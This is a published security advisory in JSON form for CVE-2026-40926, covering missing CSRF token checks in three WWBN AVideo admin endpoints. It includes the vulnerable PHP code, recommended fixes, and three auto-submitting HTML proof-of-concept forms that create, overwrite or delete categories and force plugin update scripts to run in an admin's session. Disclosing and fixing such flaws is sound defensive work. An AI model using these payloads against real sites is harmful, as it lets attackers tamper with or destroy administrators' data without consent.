{"id":"GHSA-ffw8-fwxp-h64w","summary":"WWBN AVideo has Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script)","details":"## Summary\n\nThree admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session.\n\n## Details\n\nAVideo's CSRF defense is not applied globally — each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST['globalToken']`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not.\n\n### 1. `objects/categoryAddNew.json.php:18` — CSRF create/overwrite category\n\n```php\n 18 if (!Category::canCreateCategory()) {\n 19     $obj-\u003emsg = __(\"Permission denied\");\n 20     die(json_encode($obj));\n 21 }\n 22\n 23 $objCat = new Category(intval(@$_POST['id']));\n 24 $objCat-\u003esetName($_POST['name']);\n 25 $objCat-\u003esetClean_name($_POST['clean_name']);\n 26 $objCat-\u003esetDescription($_POST['description']);\n 27 $objCat-\u003esetIconClass($_POST['iconClass']);\n 28 $objCat-\u003esetSuggested($_POST['suggested']);\n 29 $objCat-\u003esetParentId($_POST['parentId']);\n 30 $objCat-\u003esetPrivate($_POST['private']);\n 31 $objCat-\u003esetAllow_download($_POST['allow_download']);\n 32 $objCat-\u003esetOrder($_POST['order']);\n 33 $obj-\u003ecategories_id = $objCat-\u003esave();\n```\n\n`Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST['id']))`, a non-zero `id` causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.\n\n### 2. `objects/categoryDelete.json.php:10` — CSRF delete category\n\n```php\n 10 if (!Category::canCreateCategory()) {\n 11     die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n 12 }\n 13 require_once 'category.php';\n 14 $obj = new Category($_POST['id']);\n 15 $response = $obj-\u003edelete();\n```\n\nNo token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`.\n\n### 3. `objects/pluginRunUpdateScript.json.php:9` — CSRF forced plugin update\n\n```php\n  9 if (!User::isAdmin()) {\n 10     forbiddenPage('Permission denied');\n 11 }\n 12 if (empty($_POST['name'])) {\n 13     forbiddenPage('Name can\\'t be blank');\n 14 }\n 15 ini_set('max_execution_time', 300);\n 16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php';\n 17\n 18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){\n 19     $_POST['name'] = 'PlayLists';\n 20 }\n 21\n 22 $obj = new stdClass();\n 23 $obj-\u003eerror = !AVideoPlugin::updatePlugin($_POST['name']);\n```\n\n`AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it — confirming this file is an omission.\n\n### Why no global mitigation blocks this\n\n- `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint.\n- `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it.\n- The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one).\n- `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens.\n\n## PoC\n\nAll three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.\n\n### PoC 1 — Create/overwrite category\n\n```html\n\u003c!-- evil-create.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/categoryAddNew.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"id\" value=\"0\"\u003e            \u003c!-- 0 = create; any existing id = overwrite --\u003e\n  \u003cinput name=\"name\" value=\"Owned\"\u003e\n  \u003cinput name=\"clean_name\" value=\"owned\"\u003e\n  \u003cinput name=\"description\" value=\"pwn\"\u003e\n  \u003cinput name=\"iconClass\" value=\"fas fa-skull\"\u003e\n  \u003cinput name=\"suggested\" value=\"1\"\u003e\n  \u003cinput name=\"parentId\" value=\"0\"\u003e\n  \u003cinput name=\"private\" value=\"0\"\u003e\n  \u003cinput name=\"allow_download\" value=\"1\"\u003e\n  \u003cinput name=\"order\" value=\"1\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nExpected: a new row appears in the `categories` table, returned as `{\"error\":false,\"categories_id\":\u003cn\u003e,...}`. Changing `id=0` to an existing category id overwrites that row's fields.\n\n### PoC 2 — Delete category\n\n```html\n\u003c!-- evil-delete.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/categoryDelete.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"id\" value=\"2\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nMultiple hidden iframes with different `id` values can walk the category id space and wipe the category tree.\n\n### PoC 3 — Force plugin updateScript()\n\n```html\n\u003c!-- evil-plugin-update.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/pluginRunUpdateScript.json.php\" method=\"POST\"\u003e\n  \u003cinput name=\"name\" value=\"Live\"\u003e\n  \u003cinput name=\"uuid\" value=\"anything\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nExpected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin's `updateScript()` runs in the admin's session, with execution time extended to 300s.\n\n## Impact\n\n- **Integrity:** An attacker can silently cause the admin's browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation.\n- **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow.\n- **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin's `updateScript()` method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise.\n- **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.\n\n## Recommended Fix\n\nAdd an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`.\n\n```php\n// objects/categoryAddNew.json.php (after line 18)\nif (!Category::canCreateCategory()) {\n    $obj-\u003emsg = __(\"Permission denied\");\n    die(json_encode($obj));\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/categoryDelete.json.php (after line 12)\nif (!Category::canCreateCategory()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/pluginRunUpdateScript.json.php (after line 11)\nif (!User::isAdmin()) {\n    forbiddenPage('Permission denied');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\nThe long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.","aliases":["CVE-2026-40926"],"modified":"2026-05-05T16:11:48.169871Z","published":"2026-04-14T23:12:39Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-14T23:12:39Z","nvd_published_at":"2026-04-21T23:16:20Z","cwe_ids":["CWE-352"]},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40926"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/ee5615153c40628ab3ec6fe04962d1f92e67d3e2"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-ffw8-fwxp-h64w/GHSA-ffw8-fwxp-h64w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"}]}